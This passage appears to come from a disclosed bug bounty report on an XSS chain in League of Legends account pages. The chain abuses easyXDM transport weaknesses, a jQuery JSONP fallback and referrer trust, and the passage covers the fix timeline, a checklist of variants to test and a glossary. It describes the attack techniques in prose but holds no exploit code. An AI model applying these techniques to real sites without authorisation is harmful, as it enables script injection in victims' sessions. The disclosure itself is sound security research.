  • FrameElementTransport option handling. After loading, the transport redirects the top window when document.referrer does not match xdm_e. That behaviour, intended to prevent origin spoofing, becomes a JavaScript-based open redirect when xdm_e is attacker-controlled.
  • HashTransport origin assumption. Because location.hash carries no origin information, easyXDM assumes every message comes from config.remote. An attacker who can place a frame in the right position can therefore speak with an allowlisted origin.
  • VerifyBehavior.js. It only detects a second level iframe replaced mid-communication, not one replaced from the start, so a first message that sets theirSecret is enough to continue.
  • jQuery JSONP fallback. A URL ending in =? is loaded as JSONP even when dataType: "json" is set, turning the send wrapper into script injection.
  • Riot's checks. The referrer allowlist and the per-message origin check both trusted values (the referrer and easyXDM's reported origin) that the attacker could influence through the transports above. The later mitigation on /apollo/cors/index.html still trusted document.referrer, which a subdomain-scoped redirect_uri on the login flow could satisfy.

Impact

The end result is XSS on account.leagueoflegends.com in the context of a logged-in player. Through the exported methods the attacker can make cross-origin requests, set cookies on the base domain, and execute script, though the attacker cannot read the replies. The first chain required the victim to open an attacker page. The bypass of the mitigation additionally required the victim to be already logged in, because it abused the login flow. The researcher describes the impact as limited in the first approach by the need for user interaction, and the report does not quantify it further.

Fix

Riot deployed a patch, indicated on 21 February 2017, and later a partial mitigation that added a document.referrer allowlist check to /apollo/cors/index.html. The researcher reproduced the issue after the first patch and again on 18 March 2017 with the initial payload, and Riot confirmed on 28 April 2017 that the patch was deployed. The bypass of that patch was reported on 29 April 2017 and acknowledged on 8 May 2017. On 6 November 2017 Riot indicated the issue was fixed, with one individual vulnerability remaining but the full chain broken. The report was closed as resolved and a $2,000 bounty awarded on 31 May 2018.

For easyXDM itself, the author confirmed the project is not actively maintained because browsers now provide the core features natively. The researcher agrees: window.postMessage support has been pervasive for over a decade, and new software should use it directly rather than compatibility shims like easyXDM, even though native postMessage has its own complex vulnerabilities.

Variants to test

If you are learning to look for this kind of bug, these are the checks the researcher describes. Each one is a question you can ask of a page, and a positive result is what you would see if the answer is yes.

  • Other easyXDM deployments. Look for pages that read xdm_e, xdm_c, xdm_s or xdm_p from the query string. A positive result is a producer page that loads a frame or redirects based on an attacker-supplied xdm_e.
  • FrameElementTransport open redirect. Request a page with xdm_p=5 and an xdm_e on your own origin. A positive result is the top window navigating to your URL when a referrer is present.
  • HashTransport origin spoofing. Nest an attacker frame under a consumer page and send a message. A positive result is the producer treating your message as coming from config.remote.
  • VerifyBehavior.js. Send a first message to set theirSecret, wait a few hundred milliseconds, then send the real request. A positive result is the second message being accepted.
  • jQuery JSONP fallback. Call an exposed jQuery.ajax wrapper with a URL ending in =?. A positive result is the response being loaded as a script.
  • Subdomain-scoped redirects. Test login or SSO redirect_uri parameters that accept any subdomain of an allowlisted domain. A positive result is a redirect to an arbitrary subdomain, which can satisfy a referrer check.

Glossary

  • API: a set of functions one piece of software offers to another, so the second can use the first without knowing how it works inside.
  • Allowlist: a list of values that are explicitly permitted; anything not on the list is refused.
  • Bounty: a payment a company makes to a researcher who reports a security bug responsibly.
  • Catch-22: a situation where each possible option is blocked by the other, so neither works.
  • Channel: a named conversation between two easyXDM pages, set by xdm_c.
  • Consumer: the easyXDM page that calls functions exported by another page.
  • Cookie: a small piece of text a website asks the browser to store and send back on later requests, commonly used to remember a login.
  • CORS (Cross-Origin Resource Sharing): a way for a server to tell the browser that certain other origins are allowed to read its responses.
  • Cross-origin: involving two different origins, for example two different domains.
  • Cross-site scripting (XSS): a bug where an attacker gets their own JavaScript to run inside someone else's page, usually with the victim's session.
  • document.cookie: the browser property that JavaScript uses to read and write cookies for the current page.
  • document.referrer: the address of the page the browser came from, as reported by the browser.
  • Domain: the part of a web address that names the site, such as leagueoflegends.com.
  • easyXDM: a JavaScript library that lets pages on different domains call each other's functions, working around the Same Origin Policy.
  • FrameElementTransport: an easyXDM transport that uses a frame element; its option handling contained the open redirect used in this chain.
  • HashTransport: an easyXDM transport that passes messages through the URL hash; it cannot tell who wrote the hash, so it assumes the configured remote origin.
  • HackerOne: a platform where researchers report security bugs to companies and coordinate disclosure.
  • Hash: the part of a URL after the # symbol.
  • iFrame: a page embedded inside another page.
  • JSONP: an older technique for loading data across domains by having the server return JavaScript that calls a function, which the browser then executes.
  • jQuery: a JavaScript library that simplifies common tasks such as making web requests.
  • jQuery.ajax: the jQuery function for making web requests from JavaScript.
  • Location header: an HTTP response header that tells the browser to go to another URL.
  • Mitigation: a partial fix that closes a specific attack path without removing the underlying weakness.
  • Open redirect: a page that takes a destination from the URL and sends the visitor there without checking that the destination is safe.
  • Origin: the combination of protocol, domain and port that identifies where a page came from; the unit the Same Origin Policy works on.
  • PoC (proof of concept): a working demonstration that a bug is real.
  • postMessage: a browser feature that lets windows and frames on different origins send each other messages, with the browser reporting the sender's origin.
  • Producer: the easyXDM page that exports functions for other pages to call.
  • Query parameter: a name=value pair in the part of a URL after the ?.
  • Referrer: the address of the page the browser came from, sent along with requests and navigations.
  • Same Origin Policy: the browser rule that a page from one origin cannot read data from another origin.
  • Secret: in easyXDM, a value used to check that both sides of a conversation are known to each other, set by xdm_s.
  • Session: the state of being logged in, usually carried by a cookie.
  • SSO (single sign-on): a login system where one login is shared across several related sites.
  • Subdomain: a domain that sits under another, such as apollo.na.leagueoflegends.com under leagueoflegends.com.
  • Top window: the outermost window of a browser tab, reachable in JavaScript as window.top.
  • Transport: in easyXDM, the underlying browser mechanism used to carry messages, such as postMessage, Flash's LocalConnection or HashTransport.
  • URL encoding: replacing characters that are special in a URL with % codes, such as %3A for : and %2F for /.
  • VerifyBehavior.js: the easyXDM component that exchanges a shared secret before real messages are accepted.
  • XHR (XMLHttpRequest): the browser feature JavaScript uses to make web requests in the background.
  • xdm_e, xdm_c, xdm_s, xdm_p: the easyXDM query parameters that set the remote origin, channel, secret and transport.

More from Riot Games

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.